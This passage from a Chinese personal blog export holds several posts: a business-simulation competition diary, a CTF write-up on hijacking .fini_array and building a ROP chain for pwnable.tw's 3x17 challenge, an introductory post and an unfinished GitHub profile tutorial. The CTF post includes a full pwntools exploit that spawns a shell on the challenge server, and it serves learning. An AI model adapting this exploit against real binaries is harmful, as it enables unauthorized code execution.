<h2 id="参赛经历"><a href="#参赛经历" class="headerlink" title="参赛经历"></a>参赛经历</h2><h3 id="校内赛夺魁"><a href="#校内赛夺魁" class="headerlink" title="校内赛夺魁"></a>校内赛夺魁</h3><p>接着说校内赛,当时报名的队伍有20多支,正式比赛前举办了两次友谊赛,其实对于很多队伍来说就是训练赛了,毕竟一半以上的队伍都是第一次参加这项比赛。参赛选手倒是来自各个学院、各个专业,也有被我们视作一号种子的、由经管学院学长学姐组成的队伍。我们由于时间原因只参加了一次训练赛。到了正式比赛的时候,分成了两组比赛——幸运的是,一号种子队伍和我们分在了两组。虽然说我们只参加了一次训练赛,实际上我们查阅了许多资料,做足了准备。到了赛场上发现有些组连计算用的Excel表格都没有(重要道具,后面会讲),导致他们预期的利润和实际偏差太大,早早地就破产出局了。比赛到一半的时候我们的动态排名还是第三,但由于前期高额的研发投入让我们的产品有明显的质量优势,在最后两季度我们凭借高价、高销量挣得更多净利润,最终排名组内第一。由于分了两组,所以第一只有500元奖金了(哭),赛后就只能在食堂吃了庆功宴。</p>
<h3 id="知翰杯“百团大战”惨遭滑铁卢"><a href="#知翰杯“百团大战”惨遭滑铁卢" class="headerlink" title="知翰杯“百团大战”惨遭滑铁卢"></a>知翰杯“百团大战”惨遭滑铁卢</h3><p>校内赛拿到组内第一之后,我们的心态产生了一些变化——不再只是“重在参与”了,而是争得更高级别的奖项。“百团大战”是2022年暑假举办的一次全国性企业运营仿真赛,其实那时距离我们参加校内赛已经半年多了,水平基本上可以说是没有提升。因为疫情原因我们甚至不知道这项赛事能否举办,因此只是在开赛前几个星期训练了几次。另外,这项赛事的低含金量导致它在我们学校的受重视程度比较低,我们没有像很多学校那样接受培训。这次比赛是分赛区举办的,华东赛区参赛省份有江苏、浙江、上海、安徽,规模和选手实力都和校内赛时不可同日而语。比赛采用分组积分制,具体前几名晋级我也记不大清了。只记得参赛的队伍风格异常凶悍,完全不按套路来,我们打的3场比赛全部以破产告终,最快的一次甚至第一个季度就破产了。一分未得,在意料之外,也在情理之中——的确是技不如人。</p>
<h3 id="主场作战,有惊无险"><a href="#主场作战,有惊无险" class="headerlink" title="主场作战,有惊无险"></a>主场作战,有惊无险</h3><p>第十二届上海市大学生工程实践与创新能力大赛由我们学校承办,也就是说我们这次是在主场作战。不巧的是比赛时疫情管控刚刚放开,许多参赛选手都阳了或者回家了,导致有几组队伍退赛了,包括我们学校校内赛在另一组夺冠的队伍。因此我们成了该赛项的主场独苗,压力突然就增大了。我们队伍也只来了3个人,阳了一个。但和“百团大战”那次不同,这次我们研究了国奖选手的打法、深入剖析了规则、熟练掌握了Excel的制作与使用、制定了详细的策略,当然最重要的是我们参加了多次训练赛。可能因为是市级赛事大家比较保守,场上近二十支队伍采取了同样的策略,不存在总体策略的优劣,想要获胜就全靠比赛过程中的临场反应了。比赛中期开始有队伍制定低价破坏市场平衡,我们及时作出反应调低价格才避免了破产。在第5季时我们的季度排名已经进入前5,并且势头大好。不过之前说的社牛朋友紧张了,填错产品价格,导致我们在某个市场的销量和占有率暴跌,优势一去不复返,季度排名掉出前10。我们再次做出及时的调整,制定更低的产品价格,采用“薄利多销”的方案,最终在比赛结束前挽大厦于将倾,挤进了特等奖的行列。BTW,貌似其他特等奖队伍基本都有来自于商学院的选手。</p>
<h2 id="我获得了什么?"><a href="#我获得了什么?" class="headerlink" title="我获得了什么?"></a>我获得了什么?</h2><ol>
<li><p>团队协作能力<br>这是我觉得最重要的一点。其实这支队伍里我最开始也就认识那一个人,但是大家的目标是一致的,因此不存在有人摆烂的情况——这是团队协作的基础。这项比赛对于参赛的大多数队伍来说,都需要考虑分工,如何让合适的人做合适的工作,这是一门学问。如何组织大家训练、如何在比赛过程中形成统一的意见、如何有效地沟通……这些都是十分重要的技能。</p>
</li>
<li><p>处理困境的能力<br>赛事官网这样写道:</p>
<blockquote>
<p>通过竞赛,推进虚拟仿真实验教学在创新创业教育中的落地应用。参赛队员在模拟经营实践中,培养其创新精神,创业能力,提升学生在复杂条件下如何做出科学决策的能力,学会如何在困境中生存发展的企业家精神,形成如何建立团队、组织团队实现目标的能力。通过竞赛,全面提高学生发现问题、解决问题、综合分析问题能力;锻炼学生沟通协作、交流应变能力;对学生逻辑思维、开拓创新等综合能力都有一定的锻炼和提升。</p>
</blockquote>
<p>或许我以后当不了企业家,但是在困境中生存发展永远是人生的必修课之一。况且未来谁人可知,万一将来某日我所学到的企业运营本领真派上用场了呢?</p>
</li>
</ol>
<p>当然,还有些我没获得但其他人可能获得的。比如在很多学校,该赛事拿国奖是有保研加分的。</p>
<h2 id="如何上手?"><a href="#如何上手?" class="headerlink" title="如何上手?"></a>如何上手?</h2><ol>
<li><p>阅读比赛规则<br>前往<a href="http://www.qyyyfz.com/index.jsp">官网</a>熟悉比赛规则</p>
</li>
<li><p>观看B站视频<br>Up🐖推荐:</p>
<ul>
<li><a href="https://space.bilibili.com/368153901">O流砂O</a>(入门)</li>
<li><a href="https://space.bilibili.com/476554695">冰桓</a>(制表)</li>
<li><a href="https://space.bilibili.com/526514075">科韵工作室</a>(进阶)</li>
</ul>
</li>
<li><p>网上找比赛群进行训练<br>网上搜索EOVS训练赛QQ群,有些群经常会有比赛,可以先用别人的表格(我的表格放在文章最后)</p>
</li>
<li><p>练习制表</p>
<p>下图是我自己制作的表格</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/01/11/63beacf2cef5d.png" data-fancybox="default" data-caption="自制表格"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/01/11/63beacf2cef5d.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/01/11/63beacf2cef5d.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="自制表格"></a><span class="image-caption">自制表格</span></div></div>
<p>比赛中有非常多的数据要计算,如果自己用计算器算非常耗时而且正确率难以保证。一般来说,省级及以上的比赛都是要求不能使用现成表格的,也就是说如果想用表格就必须在现场制作。如果不是熟练掌握Excel公式及赛事规则的话,短时间内很难现场制作出这样一张表格,因此平时需要加以练习(制表是我的任务之一,所以我深有体会)。</p>
</li>
</ol>
<h2 id="一些经验"><a href="#一些经验" class="headerlink" title="一些经验"></a>一些经验</h2><p>B站和知乎有很多国奖大佬,可以去看他们的视频和文章或礼貌讨教。我的水平远不及他们,我的一些经验也是从大佬们那里学来的,仅供参考。</p>
<ol>
<li>制表时未必要完全按照规则给的公式敲,有一些简化的公式<ul>
<li>人工费用=计划生产量*1.4</li>
<li>生产设备价值=运营状况表下季实际产能*10</li>
<li>生产线折旧=上一季生产设备价值*10%</li>
</ul>
</li>
<li>单季买原材料,双季还款<br>单数季度购买两季度的原材料,几乎是约定俗成的规矩。根据供需关系,如果你在双数季度购买原材料,价格会更高。<br>由于单数季度购买原材料,所以没有足够的现金还款,双数季度可以根据实际资产负债比、利息等考虑还款。</li>
<li>前期所有者权益越接近150w的整数倍越好<br>所有者权益每增加150w可以让你有资格多购买1条生产线,假如你在2,3季度时生产线就比别人少2,3条,那么利滚利滚利,差距会越来越大,所以需要计算下季度理论上能达到的所有者权益。但是并不是所有者权益比预期高得越多越好,例如下一季度想要购买3条生产线,则需要有450w权益,将决策输入表格后发现达到520w,那么可以将这多余的70w花一部分在研发、营销等地方,这样收益才能最大化。因此,最理想情况是前期每次比要卡到的所有者权益高出几万到十几万。</li>
<li>注意3市场队伍<br>3市场队伍会放弃一个市场,对于4市场打法的选手来说,3市场选手放弃的这个市场就是最好的突破口,在这个市场能够用更低的营销卖出去更多、更贵的产品。</li>
<li>第5季度高营销<br>因为根据市场发展规律,第6季度市场往往会缩水。但此时又是购买生产线最多的季度,产量暴增,要想将产品卖光,必须提前用营销打开市场,提高市场占有率,才能分得更大的蛋糕。第5季度的决策可以很大程度上决定这场比赛的走向。</li>
<li>平衡营销和研发投入<br>根据赛事介绍,营销和研发都存在边际递减效应。尽管研发的优势在当季度很难体现出来,但是到了比赛后期,如果品牌好、质量差,投入高营销的效果会很差,后期比拼的就是前中期的积累。一味地投入营销可能会让你在前中期占尽优势,但后期质量差导致的市场占有率降低会让你损失非常多净利润。</li>
<li>先练好8+2,四十场打法<br>我们在所有正式比赛里都采用8+2,四市场打法,因为这种打法最为稳妥但又不失机遇。当有了一定的场数积累后再去尝试其他激进的打法,如7+3,8+3以及三市场打法。</li>
</ol>
<h2 id="EOVS表格及笔记仓库"><a href="#EOVS表格及笔记仓库" class="headerlink" title="EOVS表格及笔记仓库"></a>EOVS表格及笔记仓库</h2><div class="tag link"><a class="link-card" title="EOVS-excel-note" href="https://github.com/BeaCox/EOVS-excel-note"><div class="left"><img src="https://github.githubassets.com/favicons/favicon.svg" class="lazyload" data-srcset="https://github.githubassets.com/favicons/favicon.svg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></div><div class="right"><p class="text">EOVS-excel-note</p><p class="url">https://github.com/BeaCox/EOVS-excel-note</p></div></a></div>
]]></content>
<categories>
<category>生活</category>
</categories>
<tags>
<tag>竞赛</tag>
</tags>
</entry>
<entry>
<title>从 pwnable.tw——3x17 学习 .fini_array</title>
<url>/posts/fini_array/</url>
<content><![CDATA[<p>尽管 <a href="https://pwnable.tw/challenge/">pwnable.tw</a>已经很久没更新新题,这上面的题目放到现在<del>对我而言</del>也仍然是很有趣的。在解 3x17 这道题的时候,用到了之前从没用过的 <strong>fini_array hijack</strong>,因此记录一下。</p>
<h2 id="预分析"><a href="#预分析" class="headerlink" title="预分析"></a>预分析</h2><p><code>checksec</code> 结果:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">Arch: amd64-64-little</span><br><span class="line">RELRO: Partial RELRO</span><br><span class="line">Stack: No canary found</span><br><span class="line">NX: NX enabled</span><br><span class="line">PIE: No PIE (0x400000)</span><br></pre></td></tr></tbody></table></figure>
<p><code>file</code> 结果:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped</span><br></pre></td></tr></tbody></table></figure>
<ul>
<li>PIE 未启用:不用泄露程序基地址</li>
<li>canary 未启用:如果有栈溢出可以直接利用</li>
<li>静态链接:没有 libc</li>
</ul>
<h2 id="程序功能分析"><a href="#程序功能分析" class="headerlink" title="程序功能分析"></a>程序功能分析</h2><figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> ( byte_4B9330 == <span class="number">1</span> )</span><br><span class="line">{</span><br><span class="line"> write_func(<span class="number">1u</span>, <span class="string">"addr:"</span>, <span class="number">5uLL</span>);</span><br><span class="line"> read_func(<span class="number">0</span>, buf, <span class="number">0x18</span>uLL);</span><br><span class="line"> v4 = (<span class="type">char</span> *)(<span class="type">int</span>)bytes_to_addr(buf);</span><br><span class="line"> write_func(<span class="number">1u</span>, <span class="string">"data:"</span>, <span class="number">5uLL</span>);</span><br><span class="line"> read_func(<span class="number">0</span>, v4, <span class="number">0x18</span>uLL);</span><br><span class="line"> result = <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure>
<p>程序很直接地提供了一次任意地址写的机会,又称 <strong>Write What Where (WWW)</strong> 。不过我们没有栈空间地址泄露,因此暂时无法直接利用栈来直接控制代码流。</p>
<p>GOT 表劫持?没有 <code>system</code> 函数。但是 <code>Partial RELRO</code> 可不仅仅意味着可以利用 GOT 表劫持,也意味着可以使用 <strong>fini_array 劫持</strong>。</p>
<h2 id="fini-array"><a href="#fini-array" class="headerlink" title=".fini_array"></a><code>.fini_array</code></h2><p><code>.fini_array</code> 是什么?简单来说,它是一个函数指针数组,一旦程序退出就会运行其中的函数,不过是按倒序方式,例如先运行 <code>.fini_array[1]</code> 再运行 <code>.fini_array[0]</code> 。只要我们能覆写该数组中的函数指针,我们就能劫持代码流。</p>
<h3 id="无限循环"><a href="#无限循环" class="headerlink" title="无限循环"></a>无限循环</h3><p>很多时候题目(例如这题)中的漏洞指利用一次是不够我们 capture the flag 的,因此我们需要达到漏洞的重复利用。以这题为例,我们可以构造:<code>.fini_array[0] == __libc_csu_fini &&.fini_array[1] == main</code></p>
<ol>
<li>当程序退出时,先执行 <code>main</code> 函数,任意写包含于其中(尽管会检查<code>0x4B9330</code>地址处是否为1,但其类型为 byte/uint8,因此<code>1+16 == 1</code>,我们不必担心)。</li>
<li>然后执行 <code>__libc_csu_fini</code> 函数。该函数的作用就是调用所有 <code>.fini_array</code> 中的函数,于是回到步骤1。因此形成了无限循环。</li>
</ol>
<h3 id="如何定位-fini-array和-libc-csu-fini-的地址?"><a href="#如何定位-fini-array和-libc-csu-fini-的地址?" class="headerlink" title="如何定位.fini_array和__libc_csu_fini 的地址?"></a>如何定位<code>.fini_array</code>和<code>__libc_csu_fini</code> 的地址?</h3><figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">readelf -S ./3x17 | grep .fini_array</span><br></pre></td></tr></tbody></table></figure>
<p><code>-S</code> 可以显示各个段的 header 。</p>
<p>在 <code>start</code> 函数中找到:</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line">sub_401EB0(</span><br><span class="line"> (<span class="type">unsigned</span> <span class="type">int</span>)main,</span><br><span class="line"> v4,</span><br><span class="line"> (<span class="type">unsigned</span> <span class="type">int</span>)&retaddr,</span><br><span class="line"> (<span class="type">unsigned</span> <span class="type">int</span>)sub_4028D0,</span><br><span class="line"> (<span class="type">unsigned</span> <span class="type">int</span>)sub_402960,</span><br><span class="line"> a3,</span><br><span class="line"> (__int64)&v5);</span><br><span class="line">__halt();</span><br></pre></td></tr></tbody></table></figure>
<pre><code># in the `start`, there is a `_libc_start_main`
# the `_libc_start_main`'s 4th and 5th arg is `_libc_csu_init`, `_libc_csu_fini`
</code></pre>
<p>根据经验<code>sub_401EB0</code>为<code>__libc_start_main</code>,而<code>__libc_start_main</code> 的第 4 和第 5 个参数分别是 <code>__libc_csu_init</code> 和 <code>__libc_csu_fini</code>。</p>
<h2 id="ROP"><a href="#ROP" class="headerlink" title="ROP"></a>ROP</h2><p>我们现在拥有了无限次任意地址写的机会,也知道如何利用 <code>.fini_array</code> 来劫持代码流,接下来做什么?</p>
<p>首先,静态链接的 ELF 最不缺的就是 gadgets。我们很容易找到 pop 各种寄存器以及 <code>syscall</code> 的 gadgets。很容易构造 ROP chain 。那么离 get shell 就只差——栈。</p>
<p>我们需要将 ROP chain 放到栈上去。<code>__libc_csu_fini</code> 函数为我们创造了条件:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">push rbp</span><br><span class="line">lea rax, unk_4B4100</span><br><span class="line">lea rbp, off_4B40F0</span><br><span class="line">push rbx</span><br><span class="line">...</span><br></pre></td></tr></tbody></table></figure>
<p>以上是 <code>__libc_csu_fini</code> 函数的开头,其中<code>lea rbp, off_4B40F0</code>中的<code>0x4B40F0</code>就是 <code>.fini_array</code> 的起始地址。换言之,在运行完 <code>__libc_csu_fini</code> 函数后,<code>rbp</code> 的值为 <code>.fini_array</code> 的起始地址。接下来只要利用 <code>leave ; ret</code> 就可以让返回地址为 <code>fini_array + 0x8</code>。因为 <code>leave == mov rsp, rbp ; pop rbp</code>。</p>
<ol>
<li><code>mov rsp, rbp</code> : <code>rsp = rbp = .fini_array</code></li>
<li><code>pop rbp</code> : <code>rbp = .fini_array[0]</code>, <code>rsp = .fini_array + 0x8</code> </li>
<li><code>ret</code> : <code>rip = rsp = .fini_array + 0x8</code></li>
</ol>
<p>因此只要令<code>.fini_array[0]</code> 处为<code>leave ; ret</code> gadget 的地址,且从<code>.fini_array + 0x8</code> 开始为 ROP chain 即可 get shell 。</p>
<h2 id="exploit"><a href="#exploit" class="headerlink" title="exploit"></a>exploit</h2><p>由于只是一道 150 分的题,根据 pwnable.tw 的规则可以公开代码用于参考:</p>
<figure class="highlight python"><table><tbody><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">exe = ELF(<span class="string">"./3x17"</span>)</span><br><span class="line"></span><br><span class="line">context.binary = exe</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">conn</span>():</span><br><span class="line"> <span class="keyword">if</span> args.LOCAL:</span><br><span class="line"> r = process([exe.path])</span><br><span class="line"> <span class="keyword">if</span> args.DEBUG:</span><br><span class="line"> gdb.attach(r)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> r = remote(<span class="string">"chall.pwnable.tw"</span>, <span class="number">10105</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> r</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">www</span>(<span class="params">r,addr,data</span>):</span><br><span class="line"> r.sendafter(<span class="string">b"addr:"</span>,<span class="built_in">str</span>(addr).encode())</span><br><span class="line"> r.sendafter(<span class="string">b"data:"</span>,data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line"> args.LOCAL = <span class="literal">False</span></span><br><span class="line"> r = conn()</span><br><span class="line"> <span class="comment"># `readelf -S ./3x17` to find the addr of .fini_array</span></span><br><span class="line"> <span class="comment"># in the `start`, there is a `__libc_start_main`</span></span><br><span class="line"> <span class="comment"># the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`</span></span><br><span class="line"></span><br><span class="line"> fini_array = <span class="number">0x4b40f0</span></span><br><span class="line"> libc_csu_fini = <span class="number">0x402960</span></span><br><span class="line"> main = <span class="number">0x401b6d</span></span><br><span class="line"> leave_ret_addr = <span class="number">0x401c4b</span></span><br><span class="line"> pop_rdi = <span class="number">0x401696</span></span><br><span class="line"> pop_rsi = <span class="number">0x406c30</span></span><br><span class="line"> pop_rdx = <span class="number">0x446e35</span></span><br><span class="line"> pop_rax = <span class="number">0x41e4af</span></span><br><span class="line"> syscall = <span class="number">0x4022b4</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># stage1: eternal loop</span></span><br><span class="line"> www(r,fini_array,flat(libc_csu_fini,main))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># stage2: rop chain</span></span><br><span class="line"> www(r, fini_array + <span class="number">0x10</span>, flat(fini_array+<span class="number">0x50</span>, pop_rsi, <span class="number">0</span>))</span><br><span class="line"> www(r, fini_array + <span class="number">0x28</span>, flat(pop_rdx, <span class="number">0</span>, pop_rax))</span><br><span class="line"> www(r, fini_array + <span class="number">0x40</span>, flat(<span class="number">0x3b</span>, syscall) + <span class="string">b'/bin/sh\x00'</span>)</span><br><span class="line"> www(r, fini_array, flat(leave_ret_addr, pop_rdi))</span><br><span class="line"></span><br><span class="line"> r.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></tbody></table></figure>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>PWN</tag>
<tag>ROP</tag>
<tag>.fini_array</tag>
</tags>
</entry>
<entry>
<title>初来乍到,请多指教!</title>
<url>/posts/firstblog/</url>
<content><![CDATA[<h1 id="我是谁?"><a href="#我是谁?" class="headerlink" title="我是谁?"></a>我是谁?</h1><span id="more"></span>
<center>我是一名普通大学生、极客爱好者。</center>
<center>是NBA和F1的狂热粉丝。</center>
<center>白日梦是成为一名优秀的(白帽)hacker。</center>
<center>我将在这个网页上更新我的学习经历、生活等。</center>
<center>请多多指教!</center>
<h1 id="为什么搭建这样一个博客?"><a href="#为什么搭建这样一个博客?" class="headerlink" title="为什么搭建这样一个博客?"></a>为什么搭建这样一个博客?</h1><ul>
<li><p>其实最直接的原因是最近在<a href="https://www.w3school.com.cn/">w3school</a>学html+css,又偶然间在油管上刷到了利用<a href="https://hexo.io/">hexo</a>和<a href="https://github.com/">github</a>搭建个人博客的视频,脑子一热,就花了一段时间搭建了这个网站。</p>
</li>
<li><p>还有一个原因就是为了<del>装杯</del>,毕竟听说学IT的人总归要有个个人博客。<del>技术不行那就先拿博客凑个数</del></p>
</li>
<li><p>然后呢就是为了有一个渠道去分享我的一些学习经验和生活吧。更新随缘。</p>
</li>
</ul>
<h1 id="如何联系我"><a href="#如何联系我" class="headerlink" title="如何联系我"></a>如何联系我</h1><ul>
<li><p><a href="mailto:root@beacox.space">邮箱</a></p>
</li>
<li><p><a href="https://github.com/BeaCox">Github主页</a></p>
</li>
</ul>
<p>欢迎所有访客的友好交流和建议哦!</p>
]]></content>
<tags>
<tag>杂七杂八</tag>
</tags>
</entry>
<entry>
<title>GitHub个人资料页美化</title>
<url>/posts/githubBeautify/</url>
<content><![CDATA[<p>本文介绍如何美化GitHub个人资料页</p>
<span id="more"></span>
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
<style type="text/css">
.heimu { color: #000; background-color: #000; }
.heimu:hover { color: #fff; }
</style>
<p><strong>GitHub</strong> <span class="heimu">GayHub</span>相信大家应该是常逛啊。有的时候我们会看到,有些用户的主页比较与众不同。比如说这位<a href="https://github.com/rzashakeri">老哥</a>:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752ebad47.png" data-fancybox="one" data-caption="rzashakeri"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752ebad47.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752ebad47.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="rzashakeri"></a><span class="image-caption">rzashakeri</span></div></div>
<p>我看到这个的第一想法就是:哎哟不错哦,俺也整一个玩玩儿!毕竟GitHub的界面还是比较单调的,这样的资料页可以说是<strong>简约中不失格调</strong>。So,开整!</p>
<h2 id="创建仓库"><a href="#创建仓库" class="headerlink" title="创建仓库"></a>创建仓库</h2><p>新建一个仓库和你的用户名一致的仓库,勾选Public和Add a README file。</p>
<h2 id="自动生成资料页"><a href="#自动生成资料页" class="headerlink" title="自动生成资料页"></a>自动生成资料页</h2><p>效果图:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752d3533d.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752d3533d.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752d3533d.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>点击<a href="https://rahuldkjain.github.io/gh-profile-readme-generator/">链接</a>跳转<br>按照提示填写要展示的信息就可以,然后拉到最下面点击Generate README<br>可以先点preview预览一下,有的资源可能会没有<br>然后复制markdown内容到你仓库中的README.md当中去,保存,就可以在你的主页看到效果了</p>
<h2 id="标题图片"><a href="#标题图片" class="headerlink" title="标题图片"></a>标题图片</h2><article class="message is-info"><div class="message-body">
<p>来源:<a href="https://github.com/leviarista/github-profile-header-generator">项目仓库</a></p>
</div></article>
<p>先上效果图:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752d3343f.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752d3343f.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752d3343f.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>食用方法介绍:</p>
<ul>
<li>点击<a href="https://leviarista.github.io/github-profile-header-generator/">链接</a>去生成标题图片(怎么生成就不介绍了,一看就懂)</li>
<li>将下载下来的图片重命名为<code>header.png</code></li>
<li>把这张图片上传到仓库根目录<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752d32f26.png" data-fancybox="one" data-caption="点击upload files"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752d32f26.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752d32f26.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="点击upload files"></a><span class="image-caption">点击upload files</span></div></div>
然后把这张图片上传上去,拉到底部点commit changes</li>
<li>再回到<code>README.md</code>,在第一行写上这段代码<code><p align="center"><img src="header.png"></p></code>并保存</li>
</ul>
<h2 id="GitHub信息"><a href="#GitHub信息" class="headerlink" title="GitHub信息"></a>GitHub信息</h2><article class="message is-info"><div class="message-body">
<p>来源:<a href="https://github.com/anuraghazra/github-readme-stats">项目仓库</a></p>
</div></article>
<p>效果图:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752d33eb0.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752d33eb0.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752d33eb0.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>在你需要添加GitHub信息的地方添加以下代码</p>
<figure class="highlight html"><table><tbody><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">p</span> <span class="attr">align</span>=<span class="string">"center"</span>></span><span class="symbol">&nbsp;</span><span class="tag"><<span class="name">img</span> <span class="attr">align</span>=<span class="string">"center"</span> <span class="attr">src</span>=<span class="string">"https://github-readme-stats.vercel.app/api?username=bowenyoung&show_icons=true&locale=en&theme=blue-green"</span> <span class="attr">alt</span>=<span class="string">"bowenyoung"</span> /></span><span class="tag"></<span class="name">p</span>></span></span><br></pre></td></tr></tbody></table></figure>
<p>其中bowenyoung这个地方要换成你的用户名,当然你也可以查看该项目的<code>README.md</code>更改主题或其他参数</p>
<h2 id="博客最新文章(需要RSS)"><a href="#博客最新文章(需要RSS)" class="headerlink" title="博客最新文章(需要RSS)"></a>博客最新文章(需要RSS)</h2><article class="message is-info"><div class="message-body">
<p>来源:<a href="https://github.com/gautamkrishnar/blog-post-workflow">项目仓库</a></p>
</div></article>
<p>先上效果图:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752e474aa.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752e474aa.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752e474aa.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p><a id="way">食用方法介绍:</a></p>
<ul>
<li><p>进入刚刚创建的,和你用户名相同的仓库</p>
</li>
<li><p>在你的README.md中加入<code><!-- BLOG-POST-LIST:START --><!-- BLOG-POST-LIST:END --></code>,这段代码的位置就是之后显示博客最新文章的位置</p>
</li>
<li><p>在你的仓库中添加一个名为<code>.github</code>的文件夹,在这个文件夹下添加一个名为<code>workflows</code>的文件夹,在这个文件夹下再添加一个名为<code>blog-post-workflow.yml</code>的文件。听起来很复杂,只要按照下图操作即可</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752e31f69.png" data-fancybox="one" data-caption="点击Create new file"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752e31f69.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752e31f69.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="点击Create new file"></a><span class="image-caption">点击Create new file</span></div></div>
<p>在这个框里输入<code>.github/workflows/blog-post-workflow.yml</code></p>
</li>
<li><p>在文件里输入以下代码</p>
